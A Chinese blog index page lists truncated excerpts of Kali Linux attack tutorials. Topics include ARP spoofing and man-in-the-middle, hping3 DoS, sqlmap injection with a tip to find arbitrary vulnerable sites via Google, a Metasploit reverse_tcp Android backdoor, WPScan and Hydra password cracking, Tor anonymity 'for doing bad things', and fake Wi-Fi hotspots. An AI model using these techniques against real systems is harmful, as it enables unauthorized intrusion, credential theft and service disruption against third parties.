kali rolling 国内源
#阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb …
category
安全
共 27 篇
同一局域网环境下的arp欺骗和中间人攻击（mac）
最近读了一篇有关arp欺骗和中间人攻击的文章，于是乎就想着自己实现一下，顺便验证下微信在回话劫持后的安全性。
1.本机环境 Macbook Air:OS X 10.11 El Captain
2.推荐工具 Nmap（网络探测工具和安全/端口扫描器）
$ brew install nmap Ettercap(arp欺骗和dns欺骗工具)
$ brew …
使用hping3/nping施行DoS攻击
DDoS攻击是常见的攻击方式，每小时大约发生28次。http://www.digitalattackmap.com提供在世界范围内的DDoS实时攻击分布图：
从DDoS攻击的地图上就可以看出国际形势；例如，到9月18号可以看到日本－中国的攻击；川普宣布建墙之后，可以看到墨西哥－美国的攻击。
使用hping3进行DoS攻击：
# hping3 -c 10000 …
Kali Linux：使用nmap扫描主机
nmap－Network Mapper，是著名的网络扫描和嗅探工具包。他同样支持Windows和OS X。
扫描开放端口和判断操作系统类型 先让我们ping一段地址范围，找到启动的主机：
# nmap -sP 159.203.205.0-100 使用SYN扫描探测操作系统类型： # nmap -sS 159.203.205.61 -O 扫描开放端口：
# …
Kali Linux安装SSH Server
Kali Linux默认并没有安装SSH服务，为了实现远程登录Kali Linux，我们需要安装SSH服务。
安装 OpenSSH Server # apt-get install openssh-server 配置SSH服务开机启动 # update-rc.d -f ssh remove # update-rc.d -f ssh defaults # …
HTTrack – 克隆任意网站
HTTrack可以克隆指定网站－把整个网站下载到本地。
可以用在离线浏览上，也可以用来收集信息（甚至有网站使用隐藏的密码文件）。
一些仿真度极高的伪网站（为了骗取用户密码），也是使用类似工具做的。
Kali Linux默认安装了HTTrack。
HTTrack帮助：
使用tor实现匿名扫描/SSH登录
你要做坏事时，最先应该想到匿名。扫描网站／主机，或利用漏洞；甚至在大天朝发帖都有风险，为了防止半夜鬼敲门，我们可以使用tor实现匿名。
如果你不知道tor是什么，看：https://zh.wikipedia.org/wiki/Tor ； https://program-think.blogspot.com/2013/11/tor-faq.html
图示：
在 …
使用sqlmap执行SQL注入攻击
sqlmap是开源的SQL注入自动攻击工具，它可以自动的探测SQL注入点并且进一步控制网站的数据库。
Kali Linux默认安装了这个工具。
找到潜在的攻击目标
第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标，可以使用Google搜索 php?id=1 （或php?id= ＋ xx系医院）：
使用Metasploit收集邮箱信息
Metasploit提供了很多辅助的模块，非常实用。今天介绍一个叫search_email_collector的模块，它的功能是查找搜索引擎（google、bing、yahoo），收集和某个域名有关的邮箱地址。
使用步骤： 启动msfconsole：
# service postgresql start # msfconsole 搜索模块：
安装使用lynis扫描Linux的安全漏洞
Lynis是Linux平台上的一款安全漏洞扫描工具。它可以扫描系统的安全漏洞、收集系统信息、安装的软件信息、配置问题、没有设置密码的用户和防火墙等等。
Lynis是流行可靠的安全扫描工具。
前不久，Lynis更新了版本，Lynis发布了2.2.0。在这个版本上增加了新的特性和一些小的功能提升。我建议使用Lynis的最新版本2.2.0。
Metasploit的基本使用
Metasploit可以在Linux、Windows和Mac OS X系统上运行。我假设你已安装了Metasploit，或者你使用的系统是Kali Linux。它有命令行接口也有GUI接口。
我使用的系统是Kali Linux，本文以这个系统为例。
图形用户界面接口：Armitage
演示使用Metasploit入侵Windows
我使用Kali Linux的IP地址是192.168.0.112；在同一局域网内有一台运行Windows XP（192.168.0.108）的测试电脑。
本文演示怎么使用Metasploit入侵windows xp sp3。
启动msfconsole：
# msfconsole 选择一个漏洞：
演示使用Metasploit入侵Android
文本演示怎么使用Kali Linux入侵Android手机。
Kali Linux IP地址：192.168.0.112；接收连接的端口：443。
同一局域网内android手机一部(android 5.1)
创建一个后门程序 在终端中执行：
# msfvenom -p android/meterpreter/reverse_tcp …
Kali Linux ettercap的使用
ettercap是执行ARP欺骗嗅探的工具，通常用它来施行中间人攻击。
我还介绍过另一个arp欺骗工具-arpspoof
我使用的是Kali Linux 2.0；在开始使用ettercap之前，先配置一下：
编辑配置文件/etc/ettercap/etter.conf：
使用Kali Linux执行中间人攻击(演示)
中间人攻击也叫Man-In-The-Middle-Attack。
我假设你已经知道中间人攻击的基本概念，引用一段wikipedia：
中间人攻击（Man-in-the-middle attack，缩写：MITM）是指攻击者与通讯的两端分别建立独立的联系，并交换其所收到的数据，使通讯的两端认为他们正在通过一个私密的连接与对方直接对话，但事实上整个会话都被攻击者 …
集线器、交换机和路由器的区别
集线器、交换机和路由器都是计算机网络设备，而且非常容易混淆。那么集线器、交换机和路由器有什么区别呢？
用简单的话说，就是智商高低。路由器最智能、集线器最傻。
集线器、交换机和路由器都允许你把一个或多个计算机连接到其他计算机、网络设备等。每个都有多个网络接口，允许你插入网线接入网络，但是内部原理不同。下面我们分别看一下这些设备。
在Wifi网络中嗅探明文密码(HTTP POST请求、POP等)
全世界，现在大约50%的网站没有使用SSL加密，天朝尤其多。
我们都知道通过HTTP发送的数据都是明文，没有使用任何加密，即使是在数据敏感的登录页面。
本文的目的是：如果你在不熟悉的网络环境中，要注意提高警惕。
没有人希望自己的密码暴露给他人，so，不要嗅探（狗）他人的密码。
使用WPScan破解wordpress站点密码
我这里使用的Kali Linux，它默认安装了WPScan。
在使用WPScan之前，先更新它的漏洞数据库：
# wpscan –update 扫描wordpress用户
wpscan -–url [wordpress网址] –-enumerate u 以我的网站为例：
# wpscan --url http://blog.topspeedsnail.com …
使用Hydra通过ssh破解密码
Hydra是非常高效的网络登录破解工具，它可以对多种服务程序执行暴力破解（SSH、VNC等等）。
防止这种攻击其实很容易，方法很多。以SSH为例：
Ubuntu：使用Port Knocking隐藏SSH端口
在Ubuntu中用Fail2Ban保护SSH
CentOS 7安装使用Fail2Ban保护SSH
创建假的wifi热点
本帖介绍怎么创建假的wifi热点，然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包，使这些路由器瘫痪，强迫用户连接（或自动连接）我们创建的假wifi热点。
这种攻击也叫”水坑攻击”－把其他用户都聚集到一个”坑”中。